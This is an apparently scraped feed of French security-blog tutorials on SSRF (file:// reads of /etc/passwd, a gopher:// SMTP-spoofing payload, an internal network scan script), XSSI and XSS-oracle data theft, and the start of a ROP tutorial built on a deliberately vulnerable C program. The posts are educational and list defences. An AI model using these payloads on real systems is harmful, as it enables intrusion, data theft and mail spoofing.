Daily Securityhttps://www.dailysecurity.fr/2017-09-16T00:40:00+02:00Les Server Side Request Forgery : Comment contourner un pare-feu2017-09-16T00:40:00+02:002017-09-16T00:40:00+02:00Geluchattag:www.dailysecurity.fr,2017-09-16:/server-side-request-forgery<h2>Qu'est ce que les Server Side Request Forgery ?</h2> <p>Les <strong>Server Side Request Forgery</strong>, ou en abrégé <strong>SSRF</strong>, sont des vulnérabilités Web permettant de lire des fichiers sur le serveur <strong>local</strong>.</p> <p>Il ne faut pas les confondre avec les <strong>CSRF</strong> (Cross Site Request Forgery), qui, elles, ont pour but l'exécution d'une …</p><h2>Qu'est ce que les Server Side Request Forgery ?</h2> <p>Les <strong>Server Side Request Forgery</strong>, ou en abrégé <strong>SSRF</strong>, sont des vulnérabilités Web permettant de lire des fichiers sur le serveur <strong>local</strong>.</p> <p>Il ne faut pas les confondre avec les <strong>CSRF</strong> (Cross Site Request Forgery), qui, elles, ont pour but l'exécution d'une requête à l'insu d'un autre utilisateur.</p> <p>Un des gros avantages des <strong>SSRF</strong> est la possibilité de contourner les <strong>pare-feux</strong>. </p> <p>En effet, les actions se faisant côté serveur, il est possible d'interroger des services n'étant disponibles que localement tels que : </p> <ul> <li>Des bases de données NoSQL : Redis, MongoDB.</li> <li>Des bases de données relationnelles : Oracle, MSSQL, MySQL, PostgreSQL.</li> <li>Des services mail : Postfix, Dovecot.</li> <li>Des services Web accessibles localement.</li> </ul> <p>Ce genre de faille est particulièrement présent sur les proxy Web : Un utilisateur du service proxy peut avoir accès à des données internes au serveur, données auxquelles il n'aurait normalement pas du avoir accès.</p> <p>Le schéma suivant montre un exemple d'attaque sur un proxy Web n'ayant pas protégé son adresse locale contre les <strong>SSRF</strong> :</p> <p><img alt="Schéma SSRF Proxy" src="https://www.dailysecurity.fr/images/Schema_SSRF_Proxy.png"></p> <p>On remarque que l'adresse locale est résolue côté serveur et permet à l'attaquant de récupérer le contenu du dossier <em>secret</em>.</p> <p>Voyons maintenant les différents types d'exploitation possibles en rapport avec les <strong>SSRF</strong>.</p> <h2>Comment exploiter une SSRF : Les schémas d'attaque</h2> <p>Nous avons vus précédemment l'exemple de l'exploitation d'un <strong>proxy Web</strong>, mais il existe une multitude de schémas d'attaque.</p> <p>L'exemple du proxy Web utilise le protocole HTTP pour accéder à des données internes. </p> <p>Nous sommes alors en droit de nous poser une question : <br> <em>Comment faire pour communiquer avec les autres services (bases de données, services e-mail, etc...) ?</em></p> <p>Prenons l'exemple suivant :</p> <div class="highlight"><pre><span></span><span class="o">&lt;?</span><span class="nx">php</span> <span class="nv">$curl</span> <span class="o">=</span> <span class="nb">curl_init</span><span class="p">();</span> <span class="nb">curl_setopt_array</span><span class="p">(</span><span class="nv">$curl</span><span class="p">,</span> <span class="k">array</span><span class="p">(</span> <span class="nx">CURLOPT_URL</span> <span class="o">=&gt;</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;url&#39;</span><span class="p">]</span> <span class="p">));</span> <span class="nv">$resp</span> <span class="o">=</span> <span class="nb">curl_exec</span><span class="p">(</span><span class="nv">$curl</span><span class="p">);</span> <span class="nb">curl_close</span><span class="p">(</span><span class="nv">$curl</span><span class="p">);</span> <span class="cp">?&gt;</span><span class="x"></span> </pre></div> <p>Cet exemple prend en entrée une adresse et récupère la page associée, le module curl de PHP est une simple adaptation de la commande système <code>curl http://votreurl.com</code>.</p> <p>On peut donc utiliser toutes les fonctionnalités de <strong>curl</strong>, en particulier celles liées à la sémantique de l'adresse envoyée au script : <code>[protocole]://[IP|nomDeDomaine]:[port]/[param]</code></p> <ul> <li>Le plus important, le protocole à utiliser : http, https, ftp, <strong>gopher</strong>, <strong>file</strong>, dict, etc.</li> <li>L'adresse.</li> <li>Le port distant.</li> <li>Un ou plusieurs paramètres d'accès, par exemple un dossier ou un fichier.</li> </ul> <p>La liste des protocoles implémentés par curl est disponible <a href="https://curl.haxx.se/docs/manpage.html">ici</a>.</p> <h3>Les protocoles <em>file://</em> et <em>http://</em></h3> <p>Un protocole attire notre attention : le protocole <em>file://</em> , celui-ci permet d'ouvrir un fichier sur le serveur. </p> <p>En utilisant le script précédent, on peut essayer de lire le fichier /etc/passwd sur le serveur, ce qui donne en action : <img alt="SSRF File" src="https://www.dailysecurity.fr/images/SSRF_File.png"></p> <p>Nous avons maintenant accès à n'importe quel fichier du serveur ! <img src="https://www.dailysecurity.fr/images/yes.gif" alt="Yes" style="width: 20%;"></p> <p>Le protocole <em>file://</em> nous a permis d'accéder à des fichiers mais <em>comment faire pour communiquer avec les différents services présents sur la machine ?</em></p> <p>L'<a href="http://www.agarri.fr/kom/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html">excellent article</a> de <a href="https://twitter.com/Agarri_FR">Nicolas Grégoire</a> est un très bon exemple de <strong>SSRF</strong> sur un service : la base de données NoSQL <strong>Redis</strong>. </p> <p><strong>Redis</strong>, comme MongoDB, est une base de données NoSQL <strong>sans authentification</strong> par défaut. </p> <p>L'article explique comment, à l'aide de requêtes HTTP, <em>extraire</em> des données de la base, <em>modifier</em> cette dernière ou même <em>lire</em> des fichiers sur le système.</p> <p>Le principal souci de cette méthode est qu'une requête HTTP est obligée d'avoir un format spécifique afin d'être correcte : </p> <div class="highlight"><pre><span></span><span class="go">GET /index.html</span> <span class="go">Host: www.dailysecurity.fr</span> <span class="go">User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0</span> <span class="go">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span> <span class="go">Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3</span> <span class="go">Accept-Encoding: gzip, deflate, br</span> </pre></div> <p>Ce format restreint l'exploitation de service, par exemple l'accès à un service qui a besoin d'un préambule bien précis.</p> <p>Exemple d'accès à la base de données Redis avec une requête HTTP :</p> <div class="highlight"><pre><span></span>-ERR wrong number of arguments for &#39;get&#39; command -ERR unknown command &#39;Host:&#39; -ERR unknown command &#39;Accept:&#39; -ERR unknown command &#39;Accept-Encoding:&#39; -ERR unknown command &#39;Connection:&#39; </pre></div> <h3>Le protocole <em>gopher://</em></h3> <p>Afin de palier au problème de format, nous pouvons utiliser le protocole <em>gopher://</em>.</p> <p><a href="https://en.wikipedia.org/wiki/Gopher_(protocol)">Gopher</a> est un protocole concurrent de HTTP qui n'est plus vraiment utilisé mais toujours supporté par curl.</p> <p>Il va nous permettre de communiquer avec les services type <em>telnet</em> comme par exemple le service SMTP (e-mail) : <br> <em>ps : 1. Pour les sauts de ligne, on doit les encoder deux fois.</em> <br> <em>2. La première lettre de la requête est aléatoire (x dans l'exemple) car non prise en compte par le protocole gopher.</em></p> <p>On cherche à envoyer un e-mail en utilisant le serveur SMTP disponible localement.</p> <p>Contenu du message :</p> <div class="highlight"><pre><span></span>HELO localhost MAIL FROM:&lt;hacker@site.com&gt; RCPT TO:&lt;victim@site.com&gt; DATA From: [Hacker] &lt;hacker@site.com&gt; To: &lt;victime@site.com&gt; Date: Tue, 15 Sep 2017 17:20:26 -0400 Subject: Ah Ah AH You didn&#39;t say the magic word ! . QUIT </pre></div> <p>Ce qui donne en version Gopher : <a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ">https://victim.website/curl.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a</a></p> <p>Pour tester notre <strong>SSRF</strong>, on met en place un serveur netcat sur le port 25 (associé au protocole SMTP) et on attend la requête : </p> <div class="highlight"><pre><span></span><span class="go">nc -lvp 25</span> <span class="go">listening on [any] 25 ...</span> <span class="go">connect to [127.0.0.1] from localhost [127.0.0.1] 35417</span> <span class="go">HELO localhost</span> <span class="go">MAIL FROM:&lt;hacker@site.com&gt;</span> <span class="go">RCPT TO:&lt;victim@site.com&gt;</span> <span class="go">DATA</span> <span class="go">From: [Hacker] &lt;hacker@site.com&gt;</span> <span class="go">To: &lt;victime@site.com&gt;</span> <span class="go">Date: Tue, 15 Sep 2017 17:20:26 -0400</span> <span class="go">Subject: AH AH AH</span> <span class="go">You didn&#39;t say the magic word !</span> <span class="go">.</span> <span class="go">QUIT</span> </pre></div> <p><img src="https://www.dailysecurity.fr/images/firewall.jpg" alt="Yes" style="width: 50%;"></p> <h3>Une autre exemple d'utilisation des <em>SSRF</em> : L'énumération d'adresses IP sur le réseau local</h3> <p>Nous avons vu dans les parties précédentes que les <strong>SSRF</strong> jouaient le rôle de proxy afin d’exécuter des requêtes internes.</p> <p>Elles peuvent alors servir d'outil pour l'énumération des machines dans les sous-réseaux accessibles.</p> <p>La seule contrainte est que le machine à détecter doit avoir au moins un service ouvert.</p> <p>Les services les plus communs sont le plus souvent des services Web ou SSH (ports 80, 443, 8080, 22) voire RDP (port 3389) sur Windows.</p> <p>On peut deviner les sous-réseaux accessibles grâce aux fichiers de configuration de Apache ( <code>/etc/apache2/apache2.conf</code>) ou en cherchant dans les plages d'adresses IP des réseaux privés :</p> <ul> <li>10.0.0.0/8</li> <li>172.16.0.0/12</li> <li>192.168.0.0/16</li> </ul> <p>Pour énumérer les machines disponibles ayant un service HTTP sur le port 80 on peut utiliser le script suivant :</p> <div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">requests</span> <span class="k">def</span> <span class="nf">ipRange</span><span class="p">(</span><span class="n">start_ip</span><span class="p">,</span> <span class="n">end_ip</span><span class="p">):</span> <span class="n">start</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">int</span><span class="p">,</span> <span class="n">start_ip</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&quot;.&quot;</span><span class="p">)))</span> <span class="n">end</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">int</span><span class="p">,</span> <span class="n">end_ip</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&quot;.&quot;</span><span class="p">)))</span> <span class="n">temp</span> <span class="o">=</span> <span class="n">start</span> <span class="n">ip_range</span> <span class="o">=</span> <span class="p">[]</span> <span class="n">ip_range</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">start_ip</span><span class="p">)</span> <span class="k">while</span> <span class="n">temp</span> <span class="o">!=</span> <span class="n">end</span><span class="p">:</span> <span class="n">start</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">1</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">1</span><span class="p">):</span> <span class="k">if</span> <span class="n">temp</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="mi">256</span><span class="p">:</span> <span class="n">temp</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span> <span class="n">temp</span><span class="p">[</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">1</span> <span class="n">ip_range</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s2">&quot;.&quot;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">str</span><span class="p">,</span> <span class="n">temp</span><span class="p">)))</span> <span class="k">return</span> <span class="n">ip_range</span> <span class="n">ip_range</span> <span class="o">=</span> <span class="n">ipRange</span><span class="p">(</span><span class="s2">&quot;192.168.0.0&quot;</span><span class="p">,</span> <span class="s2">&quot;192.168.255.255&quot;</span><span class="p">)</span> <span class="n">ip_up</span> <span class="o">=</span> <span class="p">[]</span> <span class="k">for</span> <span class="n">ip</span> <span class="ow">in</span> <span class="n">ip_range</span><span class="p">:</span> <span class="k">try</span><span class="p">:</span> <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">&quot;http://victime.website/curl.php?url=http://&quot;</span><span class="o">+</span><span class="n">ip</span><span class="o">+</span><span class="s2">&quot;/:80&quot;</span><span class="p">,</span><span class="n">timeout</span><span class="o">=</span><span class="mf">0.5</span><span class="p">)</span><span class="o">.</span><span class="n">content</span> <span class="k">if</span><span class="p">(</span><span class="n">result</span> <span class="ow">is</span> <span class="ow">not</span> <span class="s2">&quot;&quot;</span><span class="p">):</span> <span class="n">ip_up</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">ip</span><span class="p">)</span> <span class="k">print</span> <span class="s2">&quot;[+] Machine : &quot;</span><span class="o">+</span><span class="n">ip</span> <span class="k">except</span><span class="p">:</span> <span class="k">pass</span> <span class="k">print</span><span class="p">(</span><span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">ip_up</span><span class="p">))</span> </pre></div> <hr> <p>Afin de <strong>sécuriser</strong> une application contre les <strong>SSRF</strong>, il faut vérifier : </p> <ul> <li>Le <em>protocole</em> utilisé : autoriser seulement <em>http</em> et <em>https</em>.</li> <li>L'adresse <em>IP</em> liée à l'URL demandée ne doit pas faire partie d'un <a href="https://fr.wikipedia.org/wiki/R%C3%A9seau_priv%C3%A9">réseau privé</a>.</li> </ul> <p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>Les XSSI : Les limites de la Same-origin policy !2017-09-13T19:30:00+02:002017-09-13T19:30:00+02:00Geluchattag:www.dailysecurity.fr,2017-09-13:/xssi-sop-bypass<h2>Qu'est-ce que la Same-origin policy :</h2> <p>La <strong>Same-origin policy</strong> ou plus simplement <strong>SOP</strong> est l'une des protections les plus importantes du <strong>navigateur</strong>.</p> <p>Elle sert à vérifier que les contenus chargés sur la page proviennent du <strong>même</strong> domaine que celle-ci.</p> <p>La <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Same_origin_policy_for_JavaScript">documentation de Firefox</a> nous donne un tableau qui montre comment fonctionnent …</p><h2>Qu'est-ce que la Same-origin policy :</h2> <p>La <strong>Same-origin policy</strong> ou plus simplement <strong>SOP</strong> est l'une des protections les plus importantes du <strong>navigateur</strong>.</p> <p>Elle sert à vérifier que les contenus chargés sur la page proviennent du <strong>même</strong> domaine que celle-ci.</p> <p>La <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Same_origin_policy_for_JavaScript">documentation de Firefox</a> nous donne un tableau qui montre comment fonctionnent ces vérifications : <img alt="Documentation SOP Firefox" src="https://www.dailysecurity.fr/images/firefox_sop_doc.png"></p> <p>Pour faire simple, la <em>SOP</em> évite qu'un attaquant puisse récupérer des informations d'un <strong>autre site</strong> avec les droits de l'utilisateur connecté.</p> <p>Prenons l'exemple suivant qui montre un schéma d'attaque avec la SOP désactivée côté utilisateur : <img alt="Schéma XSS" src="https://www.dailysecurity.fr/images/schema_xssi.png"></p> <p>On voit ici que sans la <em>SOP</em> n'importe quel site visité peut accéder à un autre site en utilisant les cookies de l'utilisateur.</p> <p>Lorsque la <em>SOP</em> est activée, une erreur apparaitra à l'étape 2 : </p> <blockquote> <p>Blocage d’une requête multiorigines (Cross-Origin Request) : la politique « Same Origin » ne permet pas de consulter la ressource distante.</p> </blockquote> <h2>Les limites de la SOP</h2> <p>Nous avons vu rapidement comment fonctionne la <em>SOP</em>, reste maintenant à voir les limites de cette protection.</p> <p>En effet, la <em>SOP</em> doit être assez permissive pour pouvoir afficher des images ou charger du Javascript externe.</p> <p>Les exemples suivants ne sont donc pas soumis à cette protection :</p> <p>La balise <code>&lt;img&gt;</code> :</p> <div class="highlight"><pre><span></span><span class="p">&lt;</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">&quot;http://externe.dtd/image.png&quot;</span> <span class="p">/&gt;</span> </pre></div> <p>La balise <code>&lt;script&gt;</code> :</p> <div class="highlight"><pre><span></span><span class="p">&lt;</span><span class="nt">script</span> <span class="na">src</span><span class="o">=</span><span class="s">&quot;https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js&quot;</span><span class="p">&gt;&lt;/</span><span class="nt">script</span><span class="p">&gt;</span> </pre></div> <p>D'autres exemples de balises telles que les balises <em>link</em> ou <em>video</em> sont disponibles dans la <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Same_origin_policy_for_JavaScript">documentation de Firefox</a>.</p> <p>Ce mécanisme permissif permet d'envisager un scénario dans lequel la SOP ne fonctionne pas : l'utilisation de <strong>XSSI</strong> !</p> <h2>Les XSSI</h2> <p>Alors, une XSSI, c'est quoi ?</p> <p>Une XSSI, abréviation de <strong>Cross Site Script Inclusion</strong>, est le fait d'inclure une page distante ayant un contenu en Javascript.</p> <p>En effet, la balise <code>&lt;script&gt;</code> inclut, via son attribut <em>src</em>, une page externe qui est chargée comme étant du Javascript.</p> <p>Prenons l'exemple de script PHP disponible <a href="https://www.dailysecurity.fr/labs/info.php">ici</a>.</p> <p>Dans notre exemple, on suppose que la fonction <code>get_user_info()</code> récupère les informations dans une base de données grâce au cookie utilisateur :</p> <div class="highlight"><pre><span></span><span class="o">&lt;?</span><span class="nx">php</span> <span class="c1">// Charge la session utilisateur</span> <span class="nb">session_start</span><span class="p">();</span> <span class="k">function</span> <span class="nf">get_user_info</span><span class="p">()</span> <span class="p">{</span> <span class="c1">// TODO : Récupérer les informations de l&#39;utilisateur courant dans la base de données</span> <span class="c1">// Dans notre exemple, les informations seront hardcodées</span> <span class="nv">$info</span> <span class="o">=</span> <span class="s2">&quot;{&#39;user&#39; : &#39;Geluchat&#39;, &#39;API_KEY&#39; : &#39;l3x11sG00dBuT3l54J34n1sB3tt3r&#39;}&quot;</span><span class="p">;</span> <span class="k">return</span> <span class="nv">$info</span><span class="p">;</span> <span class="p">}</span> <span class="nb">header</span><span class="p">(</span><span class="s1">&#39;Content-Type: application/javascript&#39;</span><span class="p">);</span> <span class="nv">$build_response</span> <span class="o">=</span> <span class="s2">&quot;var info = [&quot;</span><span class="o">.</span> <span class="nx">get_user_info</span><span class="p">()</span> <span class="o">.</span><span class="s2">&quot;];&quot;</span><span class="p">;</span> <span class="k">echo</span> <span class="nv">$build_response</span><span class="p">;</span> </pre></div> <p>On remarque que le script PHP change le Content-type de la page. On peut supposer que pour des raisons pratiques les informations sont chargées dynamiquement sur le site via du Javascript.</p> <p>En revanche, ce type d'utilisation n'est pas du tout sécurisé comme le montre le script suivant : </p> <div class="highlight"><pre><span></span><span class="p">&lt;</span><span class="nt">script</span> <span class="na">src</span><span class="o">=</span><span class="s">&quot;https://www.dailysecurity.fr/labs/info.php&quot;</span><span class="p">&gt;&lt;/</span><span class="nt">script</span><span class="p">&gt;</span> <span class="p">&lt;</span><span class="nt">script</span> <span class="na">type</span><span class="o">=</span><span class="s">&#39;text/javascript&#39;</span><span class="p">&gt;</span> <span class="nx">alert</span><span class="p">(</span><span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">info</span><span class="p">));</span> <span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span> </pre></div> <p>Vous pouvez faire le test chez vous depuis un fichier local ou sur un serveur distant, les informations de l'utilisateur sont affichées (en tenant compte de son cookie) : </p> <p><img src="https://www.dailysecurity.fr/images/info_xssi.png" alt="Info XSSI" style="width: 50%;"></p> <p>Un attaquant peut alors mettre en place le système suivant : </p> <p><img alt="Schéma XSSI Final" src="https://www.dailysecurity.fr/images/schema_xssi_2.png"></p> <p>Il existe des moyens permettant de charger d'autres types de fichiers (CSV, JSON) en jouant avec le charset des éléments HTML comme le montre ce <a href="https://www.mbsd.jp/Whitepaper/xssi.pdf">document</a>. </p> <p>Néanmoins, la plupart des contournements présentés ne fonctionnent plus sur les versions récentes des navigateurs.</p> <h2>Les XSS Oracle</h2> <p>Un exemple plus poussé des XSSI est présenté dans <a href="https://www.hurricanelabs.com/blog/new-xssi-vector-untold-merits-of-nosniff">l'article de Hurricane Labs</a>.</p> <p>Cet article détaille une méthode jusqu'ici méconnue utilisant à la fois les XSSI et les codes de retour HTTP.</p> <p>Admettons qu'une page d'un site retourne différents codes HTTP (200, 404, 302, etc...) en réponse à différentes requêtes de type GET.</p> <p>Il serait alors possible de récupérer ces codes à l'aide du handler onerror.</p> <p>En effet, en jouant avec ces handlers, il est possible d'extraire des données par le même procédé que lors d'une <em>Blind SQL injection</em> (c-à-d caractère par caractère) comme montré dans le script suivant : </p> <div class="highlight"><pre><span></span><span class="o">&lt;</span><span class="nx">script</span><span class="o">&gt;</span> <span class="kd">function</span> <span class="nx">http200</span><span class="p">()</span> <span class="p">{</span> <span class="nx">alert</span><span class="p">(</span><span class="s2">&quot;HTTP 200&quot;</span><span class="p">)</span> <span class="p">}</span> <span class="kd">function</span> <span class="nx">http404</span><span class="p">()</span> <span class="p">{</span> <span class="nx">alert</span><span class="p">(</span><span class="s2">&quot;HTTP 404&quot;</span><span class="p">)</span> <span class="p">}</span> <span class="o">&lt;</span><span class="err">/script&gt;</span> <span class="o">&lt;</span><span class="nx">script</span> <span class="nx">src</span><span class="o">=</span><span class="s2">&quot;https://www.dailysecurity.fr/labs/httpResponse.php&quot;</span> <span class="nx">async</span><span class="o">=</span><span class="s2">&quot;async&quot;</span> <span class="nx">onerror</span><span class="o">=</span><span class="nx">http404</span><span class="p">()</span> <span class="nx">onload</span><span class="o">=</span><span class="nx">http200</span><span class="p">()</span><span class="o">&gt;&lt;</span><span class="err">/script&gt;</span> </pre></div> <p>httpResponse.php :</p> <div class="highlight"><pre><span></span><span class="o">&lt;?</span><span class="nx">php</span> <span class="k">if</span><span class="p">(</span><span class="nb">rand</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">))</span> <span class="p">{</span> <span class="nb">http_response_code</span><span class="p">(</span><span class="mi">200</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="nb">http_response_code</span><span class="p">(</span><span class="mi">404</span><span class="p">);</span> <span class="p">}</span> <span class="k">die</span><span class="p">();</span> </pre></div> <p>On peut donc faire la différence entre deux réponses grâce aux codes HTTP et aux handlers d'erreurs !</p> <p>Le mécanisme ci-dessus, permettant de savoir si une réponse est vraie ou fausse, est appelé <strong>Oracle XSS</strong>.</p> <p>Quelle utilité peut-on trouver à cette méthode ?</p> <p>Si le site distant possède un système de recherche d'utilisateurs uniquement disponible pour l’administrateur, on peut les lister ces utilisateurs en comparant les retours des codes HTTP.</p> <p>Il faudra bien sûr que la personne connectée soit l'administrateur du site.</p> <p>Exemple de scénario d'attaque via un oracle XSS : </p> <div class="highlight"><pre><span></span>GET /admin/search.php?user=j* -&gt; 200 // &#39;j&#39; est donc notre premier caractère. GET /admin/search.php?user=ja* -&gt; 404 // Aucun utilisateur ne commence par &#39;ja&#39; on teste donc la lettre suivante. GET /admin/search.php?user=jb* -&gt; 404 GET /admin/search.php?user=jc* -&gt; 404 GET /admin/search.php?user=jd* -&gt; 404 GET /admin/search.php?user=je* -&gt; 200 --- snip --- GET /admin/search.php?user=jean -&gt; 200 // Nous avons récupéré l&#39;utilisateur &#39;jean&#39; ! </pre></div> <p>Afin de stopper ce genre d'attaque, on peut utiliser les méthodes suivantes :</p> <ul> <li>On ajoute le header <code>X-Content-Type-Options: nosniff</code>, celui-ci protégeant des attaques sur les Content-Type.</li> <li>On évite de mettre des informations utilisateur dans des fichiers Javascript.</li> </ul> <p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>Petit Manuel du ROP à l'usage des débutants2017-09-02T02:09:00+02:002017-09-02T02:09:00+02:00Geluchattag:www.dailysecurity.fr,2017-09-02:/return_oriented_programming<p><img src="https://dailysecurity.fr/images/missme.gif" alt="Miss Me" style="width: 70%;"/></p> <h2>De retour !</h2> <p>Après plus d'un an d'absence sur le blog, je décide enfin d'écrire un <a href="https://twitter.com/Geluchat/status/852894909497475072">article annoncé</a> sur Twitter il y a déjà plusieurs mois. </p> <p>Lorsque l'on débute dans le monde des exploits système, on se retrouve facilement bloqué lors de l'apprentissage du Return Oriented Programming (ROP).</p> <p>Dans cet article …</p><p><img src="https://dailysecurity.fr/images/missme.gif" alt="Miss Me" style="width: 70%;"/></p> <h2>De retour !</h2> <p>Après plus d'un an d'absence sur le blog, je décide enfin d'écrire un <a href="https://twitter.com/Geluchat/status/852894909497475072">article annoncé</a> sur Twitter il y a déjà plusieurs mois. </p> <p>Lorsque l'on débute dans le monde des exploits système, on se retrouve facilement bloqué lors de l'apprentissage du Return Oriented Programming (ROP).</p> <p>Dans cet article, je vais vous expliquer une méthode de ROP qui fonctionne la plupart du temps et qui a l'avantage de ne pas utiliser <em>l'instruction int 0x80</em> ; ce genre d'instruction étant souvent rare dans un binaire.</p> <h2>Les prérequis (fortement recommandés) :</h2> <p>Je vous conseille tout d'abord d'aller voir les deux articles de l'ami <a href="https://twitter.com/hackanddo">hackndo</a> disponibles <a href="http://beta.hackndo.com/retour-a-la-libc/">ici</a> et <a href="http://beta.hackndo.com/return-oriented-programming/">ici</a>.</p> <p>Il y explique le fonctionnement des gadgets ainsi que les bases du ROP avec le ret2libc et l'instruction int 0x80 .</p> <p>Pour aller plus loin sur les différentes utilisations des gadgets vous pouvez vous rendre sur le site de tosh qui contient un <a href="https://t0x0sh.org/2013/08/26/rop-tricks-1.html">magnifique article sur les techniques de ROP</a>.</p> <p>De plus, des bases sur le fonctionnement classique des buffer overflows sont obligatoires (sinon que faites vous sur cet article ?).</p> <h2>Le ROP, c'est quoi ?</h2> <p>Avant d'entrer dans le vif du sujet, nous allons revoir ensemble les principes du ROP.</p> <p>Le ROP sert principalement à contourner la protection NX, celle-ci empêche l'utilisateur d’exécuter un shellcode en mappant la stack en non-executable (No-eXecutable).</p> <p>Il permet aussi de participer à déjouer l'ALSR qui rend aléatoire la base de nos adresses dans la stack ainsi que dans la libc.</p> <p>Afin d'exécuter notre code, on utilise alors des gadgets qui sont des morceaux de code présents dans les sections exécutables de notre binaire.</p> <p><img src="https://dailysecurity.fr/images/spectacular.gif" alt="Wtf" style="width: 50%;"/></p> <p>Pour mieux comprendre l’intérêt et le fonctionnement du ROP, voyons l'étude de cas suivante :</p> <p><em>testrop.c :</em></p> <div class="highlight"><pre><span></span><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"></span> <span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"></span> <span class="kt">void</span> <span class="nf">vuln</span><span class="p">()</span> <span class="p">{</span> <span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span> <span class="n">printf</span><span class="p">(</span><span class="s">&quot;Input: </span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span> <span class="n">scanf</span><span class="p">(</span><span class="s">&quot;%s&quot;</span><span class="p">,</span><span class="n">buffer</span><span class="p">);</span> <span class="p">}</span> <span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span> <span class="p">{</span> <span class="n">vuln</span><span class="p">();</span> <span class="p">}</span> </pre></div> <p>Pour débuter, on compile en 32 bits :</p> <div class="highlight"><pre><span></span>$ gcc testrop.c -m32 -o testrop </pre></div> <p>Ici, le binaire est faillible via la fonction scanf() qui ne vérifie pas la taille de l'entrée.</p> <p>Si vous aviez trouvé, bravo :</p> <p><img src="https://dailysecurity.fr/images/bravo.gif" alt="Bravo" style="width: 50%;"/></p> <p>Regardons un peu les sections présentes dans notre binaire : </p> <div class="highlight"><pre><span></span>$ readelf -S testrop Il y a 30 en-têtes de section, débutant à l&#39;adresse de décalage 0xf6c: En-têtes de section : [Nr] Nom Type Adr Décala.Taille ES Fan LN Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048148 000148 000020 00 A 0 0 4 [ 3] .note.gnu.build-i NOTE 08048168 000168 000024 00 A 0 0 4 [ 4] .gnu.hash GNU_HASH 0804818c 00018c 000020 04 A 5 0 4 [ 5] .dynsym DYNSYM 080481ac 0001ac 000060 10 A 6 1 4 [ 6] .dynstr STRTAB 0804820c 00020c 000063 00 A 0 0 1 [ 7] .gnu.version VERSYM 08048270 000270 00000c 02 A 5 0 2 [ 8] .gnu.version_r VERNEED 0804827c 00027c 000030 00 A 6 1 4 [ 9] .rel.dyn REL 080482ac 0002ac 000008 08 A 5 0 4 [10] .rel.plt REL 080482b4 0002b4 000020 08 AI 5 12 4 [11] .init PROGBITS 080482d4 0002d4 000023 00 AX 0 0 4 [12] .plt PROGBITS 08048300 000300 000050 04 AX 0 0 16 [13] .text PROGBITS 08048350 000350 0001c2 00 AX 0 0 16 [14] .fini PROGBITS 08048514 000514 000014 00 AX 0 0 4 